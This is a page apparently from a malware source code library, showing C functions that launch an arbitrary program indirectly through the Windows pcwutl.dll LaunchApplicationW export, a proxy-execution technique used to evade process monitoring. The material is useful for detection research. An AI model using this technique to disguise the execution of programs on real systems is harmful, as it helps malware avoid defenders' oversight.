> For the complete documentation index, see [llms.txt](https://malwaresourcecode.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://malwaresourcecode.com/home/process-creation-techniques/createprocessfrompcwutilw.md).

# CreateProcessFromPcwUtilW

```
BOOL CreateProcessFromPcwUtilW(_In_ LPCWSTR PathToBinary)
{
	typedef VOID(WINAPI* LAUNCHAPPLICATIONW)(HWND, HINSTANCE, LPCWSTR);
	LAUNCHAPPLICATIONW LaunchApplicationW = NULL;
	HMODULE hMod = NULL;
	BOOL bFlag = FALSE;

	hMod = LoadLibraryW(L"pcwutl.dll");
	if (hMod == NULL)
		goto EXIT_ROUTINE;

	LaunchApplicationW = (LAUNCHAPPLICATIONW)GetProcAddress(hMod, "LaunchApplicationW");
	if (!LaunchApplicationW)
		goto EXIT_ROUTINE;

	LaunchApplicationW(NULL, NULL, PathToBinary);

	bFlag = TRUE;

EXIT_ROUTINE:

	if (hMod)
		FreeLibrary(hMod);

	return bFlag;
}

BOOL CreateProcessFromPcwUtilA(_In_ LPCSTR PathToBinary)
{
	typedef VOID(WINAPI* LAUNCHAPPLICATIONW)(HWND, HINSTANCE, LPCWSTR);
	LAUNCHAPPLICATIONW LaunchApplicationW = NULL;
	HMODULE hMod = NULL;
	BOOL bFlag = FALSE;
	WCHAR wBinaryPath[MAX_PATH * sizeof(WCHAR)] = { 0 };

	if (CharStringToWCharString(wBinaryPath, (PCHAR)PathToBinary, StringLengthA(PathToBinary)) == NULL)
		goto EXIT_ROUTINE;

	hMod = LoadLibraryW(L"pcwutl.dll");
	if (hMod == NULL)
		goto EXIT_ROUTINE;

	LaunchApplicationW = (LAUNCHAPPLICATIONW)GetProcAddress(hMod, "LaunchApplicationW");
	if (!LaunchApplicationW)
		goto EXIT_ROUTINE;

	LaunchApplicationW(NULL, NULL, wBinaryPath);

	bFlag = TRUE;

EXIT_ROUTINE:

	if (hMod)
		FreeLibrary(hMod);

	return bFlag;
}
```